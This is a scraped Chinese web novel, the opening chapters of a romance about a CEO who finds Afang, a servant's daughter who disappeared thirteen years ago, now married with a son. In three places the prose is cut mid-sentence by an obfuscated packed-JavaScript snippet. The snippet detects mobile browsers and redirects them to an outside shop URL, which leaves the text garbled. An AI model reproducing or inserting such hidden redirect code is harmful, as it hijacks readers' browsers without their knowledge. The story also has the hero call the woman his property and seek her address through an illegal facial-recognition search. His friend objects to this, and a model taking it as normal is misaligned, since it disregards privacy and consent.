《带球跑十三年后》 1. 十年后 夜幕低垂。 仲光华左手合上笔电,右手去掰脖子,脊椎随之发出清脆的咔咔声。 他起了身,拉开玻璃门。 CEO办公室是套房结构,里面是办公区域,外面是秘书处和会客厅。 一个青年四仰八叉睡在会客厅的沙发上。 这是仲光华的友人,李流年。 仲光华走过去,一点也不客气,抬脚踢向李流年的小腿。 李流年怪叫一声,爬了起来。 他迷糊了几秒才清醒过来:“搞完啦? 仲光华点点头。 李流年大喜,一把揽住友人肩膀:“那赶紧走!好久没和你打球了,今天一定要狠狠打一场!” 两人进了电梯,直接下到停车场,上了一辆敞篷保时捷。 流光溢彩的跑车驶出地面,汇入城市车流。 湿热空气扑面而来。 仲光华拽松领带,皱眉道:“这个温度,为什么要开敞篷?” 眼下是六月,国土上大部分地区仍然凉爽惬意。 但花城位于国土最南,早已抢先迈入炎夏时节。 李流年在热风中大叫:“帅气啊!别的车哪有这份帅气!” 仲光华冷冷道:“帅气来自你的个人修为,而不是寄托于身外之物。这样只会暴露你的肤浅。” 李流年哈哈大笑:“修为?听着都累。我要求不高,肤浅的帅气就很满足。” 他歪头看一眼副驾驶的友人,挑眉道:“要不要试试肤浅?很开心的哦。每天睡到自然醒,醒了只需要考虑今天玩什么,怎么玩。” 仲光华斩钉截铁:“我不可能接受这种空虚的生活。而且——” 李流年:“而且什么?” 仲光华:“如果你爸爸断了你的生活费,你怎么办?” 李流年秒答:“没关系,我还有家族信托基金。” 仲光华:“如果信托基金破产了呢?” 李流年哈哈大笑:“不可能。你的公司破产,我家的信托基金都不可能破产。” 仲光华:…… 混蛋,这话竟然说得没错。 红灯亮起,跑车停下。 仲光华随意向右看,右边是一辆汉兰达家庭版SUV,驾驶座上是一个圆胖中年人,在这等待的间隙,他从窗口探出头来,贪婪扫视着这边的跑车。 仲光华:…… 仲光华转向左边。 正好看见李流年隔着绿化带发出飞吻,人行道上两个女孩明显接收到了,吓了一跳,骂着“有病”,嘻嘻哈哈跑开了。 仲光华叹气,“你真的很善于享受肤浅的快乐。” 李流年:“哈哈哈哈哈哈!是啊!超快乐!” 绿灯亮起,车流启动。 仲光华察觉到视野角落里有一抹白色身影。 随意转头望去,是一个女人。 二十几岁的样子,身体很瘦,蜜色皮肤,穿着本地人最爱的老头衫和百慕大短裤,长发卷卷蓬蓬,被夜风轻柔地吹起来。 电光火石之间,那个人向这边撇了一眼。 她的眼睛,像星星一样亮。 仲光华心中猛然一悸。 不可能。 怎么可能? 找了整整十年的人。 找了整整十年却一直求而不得的人。 怎么可能在街头这样轻易遇见? 恍神间,那个人已经拐进岔道,只留一个背影。 仲光华大喊:“停车!马上停车!” 李流年大惊:“这里怎么停车?停不了啊!” 说话间,仲光华已经一手撑着车门,整个人跳了出去! 他落地一滚,迅速爬起来,一步跨过绿化带,奔上马路,拐进岔道。 李流年目瞪口呆。 * 花城的六月,空气湿度常常直逼百分之百。 雨水随时落下。 李流年对着手机大喊:“你在哪?什么?江边?江边哪?发定位给我!” 一边盯着手机信号,一边大步往前跑。 他跑进挤挤挨挨的老居民区,跑过长长的百年骑楼,一直跑到江边,看到路灯下的友人。 仲光华站在昏黄灯光下,手撑在栏杆上,如雕塑般,一动不动。 李流年急步走近,“你看什么呢?” 他顺着友人视线看过去,江水上一片流光溢彩,大小游船络绎不绝。 看着那样热闹的情景,仲光华的眼底却无比落寞。 雨水打湿了他的头发,刘海趴在眉骨上,整个人看起来失魂落魄。 李流年心中一慌。 这位友人从来心思深沉、游刃有余,几时露出过这般脆弱的模样? 仲光华很快恢复了正常。 他一抹头发,解释道:“我以为看到了一个很久没见的人……” 他强笑一下,“可能是看错了。” 李流年奇道:“什么人值得你这样?” 仲光华没说话。 外人不会理解的。 不会理解,她有多么重要。 他转身就走,脚步逐渐加快,直到飞奔起来。 李流年怪叫跟上。 跑到骑楼下面,两人甩了甩身上的雨水。 李流年忍不住八卦之心,探头打听:“到底是谁啊?难道是……初恋?” 仲光华飞过来一记眼刀。 李流年挠头笑道:“哈哈哈不是吗?也是哦,我们福龙集团的仲总可是著名和尚,从来不近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355443|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女色呢。” 他随口道:“你和那个人,是失联了吗?想见的话,委托侦探去找一找,很容易就找到了吧。” 两人穿过骑楼,进入居民区。 迎面而来一座小小自建楼,粉红霓虹灯牌在昏暗雨幕中格外招摇。 李流年念出声:“花二宫寻人事务所。主营范围:寻人,寻物,寻宠物。” 他哈哈笑道:“这么巧?你想找人,帮忙找人的就自动出现了。” 仲光华看着雨中的小楼。 一楼霓虹灯牌闪烁,但是门洞黑黑。 二楼三楼透出昏黄灯光,窗帘里有人影浮动。 是居民区里小店的常见模式,底楼开店,楼上住家。 他收回目光,“委托过了,没找到。” 李流年一愣,又听见友人道:“专业侦探都做不到的事,这种居民区的三流机构能有什么用?” 嗯?什么意思? 所以友人确实和某人失联,并且一度委托侦探去寻人? 这么重要的吗? 他兴致大起,连连追问:“你想见的人到底是谁?我认识吗?” 仲光华:“你认识。” 李流年两眼放光:“谁?” 仲光华:“你猜。” 李流年苦苦思索,冒出一个人名:“郑克里斯蒂娜?” 仲光华皱眉:“那是谁?” 李流年:“我们小学时候的校花啊!四年级的时候她全家移民去了美国。你竟然不记得了吗?” 仲光华:“没印象。” 李流年:…… 他贴上友人臂膀,连连问道:“谁啊,到底是谁?亲爱的好朋友,告诉我嘛~~~” 却被毫不留情甩开。 两个人穿过居民区,回到繁忙马路。 仲光华忽然道:“花二宫,这个名字还挺有意思。有点武侠味道。不知道是不是店主本名?” 他转头看一眼友人,皱眉:“你那是什么眼神?” 李流年:“花二宫是地铁站的名字。花城第二工人文化宫,简称花二宫。” “虽然工人文化宫已经没有了,但是名字留下来了。” 他停住脚步,指着十米开外的玻璃建筑:“看,地铁花二宫站。” “你公司就在附近,你应该经常经过这里,从来没注意过吗?” 仲光华皱眉:“我在车里也是要处理公务的,哪来精力注意路边的地铁站?” 李流年:…… “呵呵,对哦,你可是日理万机的CEO。” 仲光华突然伸手,示意友人向前看。 李流年顺势看去,看到停在路边的保时捷。 他抱住头,发出心痛惨叫:“啊!忘记打开雨棚了!” 2. 十三年后 三年后。 花二宫地铁站向北三公里,百花江右岸,永福集团总部大楼。 永福集团是国内排名第三的零售连锁企业,旗下拥有超市、便利店、外卖app等多条产品线。 这是第一批进入中国的南洋企业之一,经营多年,在这片土地早已生根发芽。 而最近几年管理层大换血,年轻的新任CEO更是一手孵化出外卖app,在激烈竞争之下为企业找到了新的利润增长点。 大楼第16层,自持产品策划部。 叮! 新邮件抵达策划部所有人邮箱。 是部门内部群发邮件。 内容是关于周末团建的安排:本周六早晨八点集合,所有人员必须参加。 在场大部分人,面部表情偷偷扭曲了一秒钟。 策划部的部长是一个四十多岁的男子。 他对于自己的外表要求严格,爱好健身,身材紧致,即使在炎热的花城,也每天穿着笔挺的西服。 一株人形猫草,对万千女性散发着致命吸引力——这是他对自己的定位。 部长发送完关于团建的邮件,合上笔记本,从办公室踱出来。 他走到一名女员工身边,手撑在办公桌上,身体微微倾斜,笑道:“小苏,你前天穿那条红裙子,好看的很啊,周末可以穿去团建。” 女员工小苏不着痕迹地往旁边躲了一点,“啊,不是说农家乐吗,野外有很多虫子吧?还是穿长裤比较好吧?” 部长豪爽道:“这可不是普通的农家乐,是五星级的度假山庄,灭虫做得很好的。” 他把手放在小苏的肩膀上:“说好了啊,红裙子。” 小苏假意咳嗽,抖开那只手。 部长不以为意,继续道:“小苏啊,你是我们部门最漂亮的。俗话说得好,能力越大,责任越大。给部门里所有同事带来好心情,这可是你的责任啊!” 说完,他愉快大笑起来。 小苏没说话,只是尴尬微笑。 一个精瘦的男员工突然从角落里站起来:“我刚搜了,团建的度假山庄,最便宜的房型也是二千三百一夜。竟然在这么高级的地方团建,不愧是跨国公司啊!” 部长背着手,喜不自禁:“小意思,小意思。你们好好干,以后还有无数团建等着你们。” 男员工举手握拳:“那我们可太期待了!我们一定会好好干,回报公司的恩情!” 小苏嘴角抽搐。 办公大厅的玻璃门悄无声息滑开。手工皮鞋的鞋底踩在灰色地毯上,也是寂静无声。 直到来人走到大厅中央,众人才惊讶出声:“仲总!” 仲光华,永福集团CEO。 他今年29岁,正是意气风发的年纪。 面容刀削斧凿,身材挺拔高大,一身深蓝细格纹定制西服,搭配纯黑雕花布洛克鞋,整个人看起来格外矜贵。 他的外貌足够醒目,但旁人先注意到的,永远是他的眼神。 锐利如鹰隼,令人心生惧意。 CEO身后紧紧跟着的是秘书米歇尔。 米歇尔38岁,是仲光华创业伊始便一直跟随的元老。 她一身黑色套装,鼻子上架着金丝眼镜,黑亮头发一丝不苟梳到脑后,表情严肃,滴水不漏。 仲光华一挥手,米歇尔立刻上前,哗的一下展开手中海报。 海报上的图像是红亮亮油润诱人的猪肉干,旁边的文字是“约吗?超大!” 仲光华环视办公室一圈:“这个企划,是谁提出来的?” 早前赞美了团建的精瘦男员工兴奋举手。 仲光华看向他,眯了眯眼:“这个广告词什么意思?我怎么看不懂?” 精瘦男员工感觉不妙,不禁有些结巴:“就是那个,那个嘛,双关嘛。” 仲光华:“我们这次推出的新品猪肉干卖点是每一片都超大,这层意思我懂。但是另一层意思?” 精瘦男员工这下明确知道不妙了。 整个人凝固,犹如被鹰隼锁定的山鸡。 仲光华催促道:“不是双关吗?说啊,另一层意思是什么?” 精瘦男员工汗如雨下:“仲总我错了!我不该交这种企划!” 仲光华转头去看部长:“你通过这种企划之前,问过女同事的意见吗?” 他看看周围,随口问小苏:“你觉得怎么样?” 小苏脸色发红,声音拔高:“我反对过的!但是,但是部长很喜欢这个创意,我反对也没用。” 仲光华点点头,指着精瘦男员工:“从明天开始,你不用来上班了。人事后续会跟你沟通N+1的补偿。” “至于你……”他又转头看部长,眉头深锁:“他一个小年轻满脑子黄色废料也就算了,你也一把年纪了,脑子和屁股还是反的吗?是不是要在你脑子里装个抽水马桶,才能把那些恶心的东西都冲掉?” 部长憋得满脸通红,艰难道:“我,我知道了,以后不会了。” 仲光华顿了几秒,抬手,用食指抚了抚太阳穴。 “你知道我掌管集团的前进方向有多累吗?居然还让我为这种小事操心。” 部长:“对、对不起。是我失误了。” 仲光华冷笑:“失误?你觉得你这是失误?” “不,你这是不可救药。” “收拾一下东西,你明天不用来上班了。” 部长愣住。 愣住好几秒之后,他激动大叫:“不行!你不能开除我!我是从母公司过来的!” 米歇尔不着痕迹勾了勾嘴角。 仲光华的眼神瞬间变得有些阴森。 他盯着部长,左手抽过桌上的文件夹,直直照着部长的脸抽过去! 部长尖叫着往旁边躲,整个人跌在地毯上,软得爬不起来。 仲光华放下文件夹,走过去,伸手把部长拉起来,还帮他整了整领口。 他露出笑容,几乎慈爱:“你以为我会打你?怎么会呢?我们可是法治国家,文明企业,打人是绝对不允许的。” 他退开一步,笑容消失:“可惜,我开除你,却是绝对自由的。当然,你也可以回母公司去,这也是你的自由。” 仲光华不再理会部长,环视众人:“策划部最有资历的人是谁?” 众人一时议论纷纷。 小苏鼓起勇气举手:“是丽丽姐!” 众人面面相觑,但似乎没有反对的意思。 一个中年女子站了出来:“仲总,我是营销组长吴丽丽。” 仲光华点点头:“从现在开始你就是代理部长。“ 随即转头交代米歇尔:“跟人事通气,尽快提出新部长人选。有结果了跟我汇报。” 说完,便大步离去。 米歇尔向大家微微鞠躬,用她永远四平八稳的声音道:“仲总今天遇到了烦心事,所以略有些失态。我代他向大家道歉。” 大家赶紧摇手:“没有没有。” 米歇尔也消失在滑动门外。 在场员工面面相觑,随后视线全落在刚刚被开除的两个人身上。 尤其是小苏,满脸兴奋难以掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355444|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰。 就,就……真的好解气哦! 谢谢仲总! 电梯里,仲光华看着不断变化的数字,冷冷道:“谁让你道歉了?我是老板,我做什么不是我的自由?” 米歇尔语气稳重:“对不起,是我僭越了。” 仲光华沉默了一会,带着烦躁开口:“不是,我遇上什么烦心事了?你说说看,我遇上什么烦心事了?” 米歇尔语气不变:“是我僭越了。” 叮。楼层到达。不锈钢门滑开。 仲光华冷哼一声,大步向外走。 米歇尔跟上。 * 深夜,百花江右岸的豪华公寓,顶楼。 这里是仲光华在花城暂居的地方。 李流年坐在白色长毛地毯上,倚着沙发,两腿伸开,悠闲品酒。 他算是仲光华的老相识了。 两个人打小认识,一路一起升学,毕业后一前一后从南洋来到华国。 李流年一手端着酒杯,一手撑着面颊,笑道:“你脸色好差啊,被女人甩了?” 仲光华大马金刀坐在沙发上,闻言,飞过去一记眼刀。 李流年一阵大笑:“对不起啦,是我胡言乱语。谁不知道我们永福集团的仲总是个和尚,从来不近女色?” 看到友人竟然毫无反应,只是一味眉头深锁,他突然来了兴趣:“到底怎么了?” 仲光华十指交握,左手大拇指神经质地抠着右手虎口:“我遇见阿芳了。” “不是幻觉。这次是真的遇见了。” 李流年:“阿芳?谁?” 仲光华沉默。 李流年:? 仲光华抬眼盯住友人:“阿芳,总是跟着我的那个。” 李流年眨眨眼。 “啊。” 突然坐直了身体。 “啊!啊!!!” 双眼瞪大,满满的不敢置信。 “那个阿芳吗?” 仲光华不耐烦道:“还有第二个阿芳吗?” 李流年无言以答。 他万万没想到,有生之年,还会再听到阿芳这个名字。 阿芳的身份,可以说十分暧昧不清。 她是仲家司机和女佣的女儿,从小住在仲家大屋,理论上是自由身,但实际上,所有人都把她看作仲光华的私人女佣。 而仲光华对她……很难形容,只能说,绝不是单纯对待女佣的态度。 常有人在背后开玩笑说她是仲光华的童养媳。 但也只是背后说说。 所有人都知道,阿芳想嫁给仲光华,成为南洋第一豪门仲家的女主人,这是绝对不可能的事情。 关于她的议论从未停歇过: 她会成为仲光华的情妇?还是另外嫁人生子? 就在大家都兴奋等着看好戏的时候,阿芳却消失了。 突然消失,人间蒸发。 没有带走一点细软,没有留下一丝痕迹。 大家兴致勃勃议论了好一阵。 但终究……不过是一个女佣而已。 很快被淡忘,抛之脑后。 李流年暗暗心惊,原来这么长时间以来,仲光华从来没忘怀过? 他一时无言以答,挠挠头,没话找话:“你说,这次是真的遇见了,什么意思,之前也遇见过?” 仲光华瞪着友人:“三年前,在花二宫地铁站,我和你一起遇见的。你忘了?” 李流年露出尴尬笑容。 有这事吗? 他完全没印象了。 3. 重逢幻想 散落在时间长河尽头的回忆呼啸而至,袭击了李流年。 “阿芳啊……”他喃喃出声,“我还以为她早就死了……” 仲光华怒道:“你才死了!” 李流年顺手给了自己一耳瓜子:“哎哟哎哟,是我胡说。” 他放下酒杯,往前挪动,靠近友人,关心道:“你在哪里遇到她的?” 仲光华手指仍然紧紧扣在一起。 “我当时在卖场检查活动场地,她过来买东西。” “可能是因为我们这边正在扎气球装饰吧,她被吸引,走过来观看。” “她看着那些气球,看了好一会,很喜欢的样子。” “我就站在她旁边。” “她发现我在看她,冲我笑了一下。” 李流年:“啊,冲你笑了啊。” “这么多年不见,重逢后以第一反应是对你笑,这很好啊!” “至少说明,她对你没有怨恨。” 仲光华皱眉:“怨恨?她为什么要怨恨我?” 李流年:“不是,你听反了,我是说她对你没有怨恨——” 他笼罩在友人的死亡凝视下,虚弱道:“我的意思是,毕竟,你看,当初那样的情形……一般来说,那样决绝的离开,总是带着恨的吧。” 仲光华呼吸骤停。 带着恨吗? 呵,他宁愿她是带着恨。 总强过心无波澜。 仲光华目光空洞:“是那种朝着陌生人礼貌笑一下的笑法。” “然后她问米歇尔,是明天开始活动对吗,是可以现场抽奖对吗?” “米歇尔说是,她就很高兴地走了。” “阿芳她……没有认出我。” 仲光华回忆起当时过山车一样的心情。 原来三年之前不是幻觉。 就是她。 就是阿芳。 我的阿芳,一直生活在和我同一个城市,同一条河边。 仲光华狂喜,浑身仿佛触电一般。 他站在阿芳咫尺之处,屏住呼吸,寒毛起立,等待着阿芳认出自己的瞬间。 ……没有等到。 阿芳看着他,四目相接,近在咫尺,毫无阻挡。 阿芳的眼神里涌动着些许关于抽奖的兴奋,除此之外,再无其他。 无法形容那一瞬间的感觉。 不敢置信。 天崩地裂。 李流年挠挠头:“不是,等一下。你一眼就认出她来了?” 仲光华:? 他奇怪甩过去一眼:“不然呢?” 李流年:“会不会是认错了?这都多少年了,人的相貌多少会变……也许是无关的人,只是长得有点像?” 仲光华:“不可能。就是她。我不会认错。” 李流年被这个理所当然的态度噎了一下。 他卡了几秒,才找回思路:“不是,认不出来才是正常的吧。” “你记不记得我们念小学的时候,有个男生被人捉弄,光着屁股从体育馆跑出来?” 仲光华嘴角抽搐了一下:“记得。” 李流年:“你还记得他的脸吗?” 仲光华:…… 李流年大力一拍手:“是吧!不记得吧!我也不记得了!” “我记得当时的很多细节,日光、温度、他跑步的姿势、大家的笑声——但是他的脸,我已经忘了!” 他望着天花板,似乎陷入回忆,“说起来,当初在老家玩得好的那一群男生,我现在已经想不起他们任何一个人的长相。” “我们一起做的那些事还历历在目,但是脸,全都模糊成一团了。” 他望向友人:“对了,你们分开多少年来着?” 仲光华:“十三年。” 李流年大叫:“十三年!十三年!” “要是分开十三年不见面,我连亲生爸妈都认不出!” 他一屁股坐到沙发上,紧紧挨着友人:“阿华,你一眼认出她才是不正常的。” 仲光华眉头紧锁,看起来完全不认同。 李流年长长叹气,“阿华,你说实话,你对她到底是个什么想法?” “难道说,你这么多年过着和尚生活,是因为对她余情未了?” 仲光华猛地站起,拔高声音:“余情未了?哪来的情?我们不是那种关系!” 他在客厅里大步绕着圈:“她妈妈是我家的女佣,她爸爸是我家的司机,她从小到大,生活在我家的屋子里。她的衣服,零食,书包,玩具,都是我给她买的。” 仲光华猛地站定,咬牙切齿:“她属于我。她是我的所有物,我的财产!” 李流年欲言又止,最后还是伸出手:“不是,人怎么能是财产呢。咱们文明社会可不来这一套啊。” 仲光华根本不听:“她当然是我的财产。” “所有人,包括她自己,都默认这一点。” “从小到大,她时刻跟在我身后,对我衷心耿耿。” 仲光华嘴角勾起骄傲的笑:“我叫她做什么,她就做什么。为了我,她甚至可以放弃自己的性命。” 李流年:…… 李流年:“真的吗。那最后还不是跑了嘛。” 仲光华:! 仲光华拔高声音:“所以我绝对无法原谅她!” “你要是在我的位置,自然就会明白,心里怀着这样强烈的恨意,就绝对不会忘记对方的长相!” “不要说她整个人活生生走到我面前,就算她死了,化成灰,我也认得出来!” 李流年嘴角抽搐:“化成灰应该不行吧……” 仲光华:“有件事需要你帮忙。” 说完,他去了房间里,拿着一本厚厚相册出来,坐回沙发中,开始翻看,挑选。 李流年靠在沙发上,随意看了一眼相册内容。 不确定,再看一眼。 不对劲,再看一眼。 李流年一个激灵,伸手夺过相册,一顿猛翻:“不是,这一整本,全是她?妈啊,连婴儿照都有!” 他转头盯着友人,一脸不敢置信:“全都是你拍的?” 仲光华:“婴儿照不是我拍的。是她给我的。” 李流年啪啪猛拍相册,大叫:“你简直像个跟踪狂!” 仲光华夺回相册,不高兴道:“什么跟踪狂。她是我的女佣,我拍她多少照片都是我的正当权利吧?” 李流年:…… 李流年:“然后你天天抱着看?天啊,难怪你能认出来……” 仲光华:“不行吗?” 李流年:“行。太行了。我五体投地。” 他突然想起一事,问道:“阿芳有你的照片吗?” 仲光华手下一顿。 “可能……没有吧。” “她当初没有摄影的爱好,也没有买相机的钱。” 李流年:…… 我的朋友,这是摄影爱好的问题吗?昂? 仲光华终于选定,小心翼翼抽出一张照片,递给友人。 “应该可以从信息库里找到她吧?花城的面部信息集采库。” 李流年一个激灵:“不可以!这是犯法行为!这是侵犯公民隐私!” 仲光华:“我又不要她的银行账户密码,只需要一个住址就行了。” 李流年:“大哥!住址就是最大的隐私啊!你要她住址干什么?难道你想去找她?和她重归于好?” 仲光华凝固了几秒。 然后云淡风轻道:“当然是报复。她背叛了我,我要狠狠报复她,让她后悔自己的所作所为。” 他催促道:“你帮不帮?你要是不帮,我就去找别人。” 李流年投降:“还是我来吧。交给别人我不放心。” 他想了想,“如果你真的去找她,记得叫上我。” 仲光华毫不犹豫拒绝:“我和她的事,叫你干什么?你把地址给我就行了。” 李流年:…… 担心。 就是说,非常担心。 * 周六,上午十点。 纯黑库里南停在与它完全不衬的老城区古旧街边。 仲光华下了车,看着街对面的三层小楼,不敢置信,又拿出手机,再度确认友人发来的地址。 没错,就是这里。 仲光华看着那块艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355445|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗的粉色招牌:花二宫寻人事务所。主营范围:寻人,寻物,寻宠物。 他记得这块招牌。 三年前,他来过这里。 所以,当时,他没能追到的阿芳,就在灯光昏黄的楼上? 不能多想。 想多了要疯。 仲光华又看了一眼街对面的小楼。 事到临头,近乡情怯。 他竟不敢移动脚步。 知了疯狂叫嚣着。 好热。 热且粘腻。 几近无法呼吸。 仲光华咬了咬牙,扯松领带,大步跨过街道,走到小楼跟前。 硕大的粉色招牌横在茶色玻璃门之上: 花二宫寻人事务所。 主营范围:寻人,寻物,寻宠物。 阿芳就住在这里? 她在这里借宿?还是上班? 上班的话,是做前台吗?这样的破败小店,能付多少工资? 她离开我之后……是不是过得很苦? 仲光华止住念头,用力推开那道茶色玻璃门。 一楼室内昏暗不堪。 古旧空调发出聒噪声音。 劣质的三合板办公桌后面坐着个瘦小女人,听见声音,抬起头来。 熟悉的青葱少女形象,如今已是略有年岁的样子。 面庞仍然光洁,眼中却染满风霜。 她露出笑容,礼貌招呼:“欢迎光临。” 仲光华不说话,随意在沙发坐下。 对方殷勤地端了托盘过来,在茶几边轻轻蹲下,将漆黑液体注入茶杯中。 “外面很热吧?喝点凉茶消消暑,这是我们早晨起来自己煮的。” 仲光华喝了一口凉茶。苦中带着微甘,冰凉沁脾。 对方在对面坐下,圆圆的眼睛弯起来:“这位老板,怎么称呼?” 仲光华抬眼看着她,目光里满是责备。 我怎么称呼? 你问我怎么称呼? 四目相接。 四下里一时陷入寂静。 房间幽暗不堪,影影幢幢。 仲光华用眼神描摩着对方的面容。 淡淡的眉毛,圆圆的、却又常常弯弯的眼睛,小巧的鼻子,总是像在撒娇一样的嘴唇。 十三年过去,什么都没有变,却又好像全都变了。 空调发出破败的声音。 那张深深印在脑海中的面容,终于出现了一些别样的神情。 完美的营业笑容,出现了一条裂缝。 她身体凝固,目光颤抖,想要忍住眼泪,却是徒劳。 眼泪从那双圆圆的、花瓣一样的眼睛里滚出来。 一颗,又一颗。 最终连成一线。 她低下头,用手捂住脸,颤抖如风中落叶。 仲光华叹了一口气。 这些年,你一定很辛苦吧? 当时你不过是一个19岁的小姑娘,一个人在外面要怎么活下去? 为什么? 到底为什么? 为什么那样坚决地离开我,离开我为你提供的舒适生活? 仲光华起身,绕过茶几,走到颤抖的女人身前。 他伸出手,碰触了她的头发。 是熟悉的触感。 软软的,蓬蓬的。 女人突然站起来,闪电伸手,用力抱住他的腰,脸深深埋在他的胸口。 颤抖又憋闷的的声音从胸口传来:“少爷……对不起……少爷……我好想你……” …… “叔叔!叔叔!”一道童声突然响起。 仲光华一个激灵,从幻想中醒过来,看到面前站着一个高大少年。 少年用一种莫名带着愚蠢的嗓音热情招呼道:“叔叔,我看你在这边站了好久了,是有什么难言之隐吗? 仲光华心神俱震:叔叔?你管我叫叔叔? 我如今,已经是被高中生叫做叔叔的年龄了吗? 说时迟那时快,他被少年一把抓住,那股力量堪比蛮牛,竟一时挣脱不开。 少年猛力推开茶色玻璃门,兴奋大喊:“阿珍!来生意了!” 4. 她已婚有子 高大少年大兴奋大叫:“阿珍!来生意了!” 一个女人背对着大门坐在转椅上。 听见声音,她脚尖一点地,椅子咕噜噜一转,整个人直直面向大门口的两人。 仲光华的心猛地提起,又缓缓落下。 不是她。 这个女人相当时髦。 闪片眼影和玻璃唇釉堆叠在脸上,鼻头涂着夸张的偏光高光粉。 身材健康匀称,白色针织小吊带搭配着黑色亮片迷你裙,脖子手腕上挂着层层叠叠的串珠首饰。 时髦的阿珍站起来,露出殷勤笑容:“你好呀~老板怎么称呼?” 仲光华没说话,环视室内一圈。 是和他想象一样的幽暗破败。 房间大概二十平米,一堵墙下摆着一排铁皮文件柜,另一堵墙下摆着两张办公桌,桌上是老旧的台式电脑。 墙壁是诡异的灰白色,有层层叠叠不知道贴过什么的胶带痕迹。 房间中央是一组深红色皮沙发,围着一个黑色茶几放置着,茶几上是一套功夫茶具。 阿珍站在沙发旁,满脸殷勤:“老板你先过来坐一会儿啊~我们老板刚出去买烟了,一会儿就回来。” 仲光华不置可否,在沙发坐下。 阿珍:“老板,我帮你沏茶哦~~~我们这里有铁观音、岩茶还有单枞,你喜欢哪种呢?” 不等人回答,她转头大喝:“安安,你又跑出去玩了!作业写完了吗?” 高大少年站在墙角,瘪瘪嘴:“我不会写。” 阿珍伸手:“哪里不会?给我看看。” 少年从旁边椅子上的书包里抽出一本作业簿,哼哼唧唧挪过来。 阿珍一把夺过,翻开,“哪题不会?” 少年一脸苦相:“都不会。” 仲光华:? 等一下,这是在做什么?是要辅导作业吗? 不是要帮我沏茶吗?怎么半途做起私事来了? 你们就是这么招呼客户的? 做小生意的人原来这么随便的吗? 他忍不住瞟了一眼作业本,一道题映入眼帘:小红买了一个书包花了150元,比原价便宜了50元。请问她是按几折购买的? 他吃了一惊,不自觉出声:“现在的高中作业这么简单的吗?” 阿珍愣了一下,突然大笑:“哎呀呀,我们安安看着像高中生吧?经常有这种误会啦!” 她脸上露出莫名其妙的自豪:“才不是呢,我们安安只是发育得好。他今年才11岁,还在上小学哦!” 仲光华:!!! 但是他定睛一看,看到对方脸颊上不知从哪蹭的泥巴印,还有那纯真愚蠢的眼神,终于确定:是我走眼了,这确实是个小朋友的样子。 阿珍还在自豪:“我们安安是像他爸爸啦,个子高得很!” 仲光华:“哦,你们老板的孩子吗?” 阿珍:“啊,那倒——”她突然转头,“发哥,你回来了!” 茶色玻璃门打开,一股热气涌进来。 仲光华皱起眉,眯起眼,看着门口的一男一女进来。 安安快乐大喊:“妈妈!” 门口的女人也快乐应答:“安安!” 仲光华不敢置信。 仲光华天崩地裂。 这个愚蠢的高大儿童,竟然是阿芳的儿子。 她结婚了,还有了孩子,孩子都长得牛高马大了。 刚才那个女人说孩子多少岁来着? 对,11岁。 仲光华高效的大脑只用1秒就做好了算数: 这个孩子,是她离开的第二年,和别的男人种下的果—— 不敢置信。 完全不敢置信。 但是,活生生一个孩子就摆在面前。 那双圆溜溜的眼睛,简直和阿芳一模一样。 一股怒气从丹田腾起。 仲光华双目喷火,瞪着阿芳身边的那个男人。 个子确实算高。和那个巨型小学生一样高。 但是智商看起来实在不高。眼神中流露着愚蠢。和那个巨型小学生一样愚蠢。 这个男人,是阿芳的……丈夫? 这两个字像是烙铁一样,几乎将仲光华的心烫出一个洞来。 男人大步走过来,扑通一下坐在仲光华对面,热情招呼道:“老板你好,我是这里的老板钱润发,老板你叫我发仔就好啦~~~” “老板怎么称呼?” 仲光华脸色难看得要命。 他实在不想理会面前这个男人。 阿芳察言观色,把孩子赶开,挨着发哥坐下,双手端起紫砂茶壶,熟练操作起来。 她圆圆的眼睛笑成弯月:“外面很热吧?先喝点茶静静心。” 遥远记忆呼啸袭来。 棱花窗下坐着堪堪长成的青葱少女,低着头,一手握着茶罐,一手捏着茶则,正在取茶。 乌黑的长发从肩头滑下来,发梢落在她小臂上。 听见脚步声,她抬起头来,圆圆的眼睛笑成弯月:“外面很热吧?先喝点茶静静心。” 滚烫的怒意一下子消散了。 仲光华矜持点点头,“确实很热。” 阿芳低着头,手指灵活操作。 少顷,紫砂茶壶散发出清净幽香。 阿芳抿嘴一笑,“第一杯敬贵客。”双手将茶杯捧到仲光华面前。 仲光华端起茶杯,品了一口,皱起眉头。 不行。 茶叶不行。 便宜茶叶再怎么细心雕琢也没用。 阿芳注意到他的反应,微微挑起眉毛。 她礼貌笑道:“老板贵姓?” 仲光华犹豫了一秒。 “免贵姓李。” 阿芳笑意不减:“李老板今天来这里,是想委托什么案子呢?” 仲光华目光锁定她:“怎么称呼?” 阿芳:“我姓宋,李老板叫我小宋就好。” 仲光华追问:“名字呢?” 